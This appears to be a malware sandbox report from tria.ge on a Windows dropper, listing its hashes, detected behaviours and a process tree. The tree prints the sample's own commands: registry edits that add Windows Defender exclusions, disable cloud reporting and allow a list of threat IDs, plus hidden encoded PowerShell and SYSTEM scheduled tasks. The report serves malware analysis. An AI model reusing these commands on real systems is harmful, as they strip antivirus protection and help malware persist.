Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240319-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2024, 15:03

General

  • Target

    74050b2ee5135b7ed2dddc6f9f57bab2b5fe8cbe7676f12d240de3e131e63055.exe

  • Size

    7.4MB

  • MD5

    0c0f50064275ae8fe5a530b544270107

  • SHA1

    edb0ac10466bcfcf72f981e5a48973b48ea42865

  • SHA256

    74050b2ee5135b7ed2dddc6f9f57bab2b5fe8cbe7676f12d240de3e131e63055

  • SHA512

    55b0d2a0a7e8c75e63b635c3b9cd90ddd75e54b7c38e59c8ffc7e2ba9dcaeb74478e8edd199501d49813540722ffce5ffd6c680602549a673152c7987fa5211e

  • SSDEEP

    196608:91Oilu6pC6tHjp62m8oB97gmBYwK412XRwf2dgcfxtD6:3OiwKtd7m8oHajOwnm

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74050b2ee5135b7ed2dddc6f9f57bab2b5fe8cbe7676f12d240de3e131e63055.exe
    "C:\Users\Admin\AppData\Local\Temp\74050b2ee5135b7ed2dddc6f9f57bab2b5fe8cbe7676f12d240de3e131e63055.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4216
      • C:\Users\Admin\AppData\Local\Temp\7zS7FCF.tmp\Install.exe
        .\Install.exe /pcNNdidfG "385118" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3944
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
              PID:4980
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                6⤵
                  PID:4408
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                  6⤵
                    PID:3724
              • C:\Windows\SysWOW64\forfiles.exe
                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1732
                • C:\Windows\SysWOW64\cmd.exe
                  /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4424
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                    6⤵
                      PID:1052
                    • \??\c:\windows\SysWOW64\reg.exe
                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                      6⤵
                        PID:1492
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "gKzgHJrKb" /SC once /ST 04:11:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                    4⤵
                    • Creates scheduled task(s)
                    PID:1964
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /run /I /tn "gKzgHJrKb"
                    4⤵
                      PID:3256
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /DELETE /F /TN "gKzgHJrKb"
                      4⤵
                        PID:3272
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 15:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\fRPkEIQ.exe\" id /Uxsite_idFTK 385118 /S" /V1 /F
                        4⤵
                        • Drops file in Windows directory
                        • Creates scheduled task(s)
                        PID:4472
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                  1⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3636
                  • C:\Windows\system32\gpupdate.exe
                    "C:\Windows\system32\gpupdate.exe" /force
                    2⤵
                      PID:684
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:716
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                      1⤵
                        PID:1924
                      • C:\Windows\system32\gpscript.exe
                        gpscript.exe /RefreshSystemParam
                        1⤵
                          PID:4552
                        • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\fRPkEIQ.exe
                          C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\fRPkEIQ.exe id /Uxsite_idFTK 385118 /S
                          1⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          • Suspicious use of WriteProcessMemory
                          PID:3852
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                            2⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1732
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3636
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                4⤵
                                  PID:4944
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                3⤵
                                  PID:3012
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                    PID:1140
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:3836
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:4428
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:3032
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                            PID:3200
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:3300
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                              3⤵
                                                PID:5068
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                3⤵
                                                  PID:4236
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:960
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:4812
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                        PID:4384
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:540
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:1484
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:2636
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:3480
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:2860
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:856
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:4740
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:3452
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:4924
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2312
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:4208
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:1940
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:4948
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:1092
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:4408
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                    2⤵
                                                                                    • Drops file in System32 directory
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:5068
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:2588
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                            PID:716
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                          3⤵
                                                                                            PID:4944
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                            3⤵
                                                                                              PID:2204
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:3012
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:1140
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:1008
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:4428
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:3032
                                                                                                      • C:\Windows\SysWOW64\reg.exe
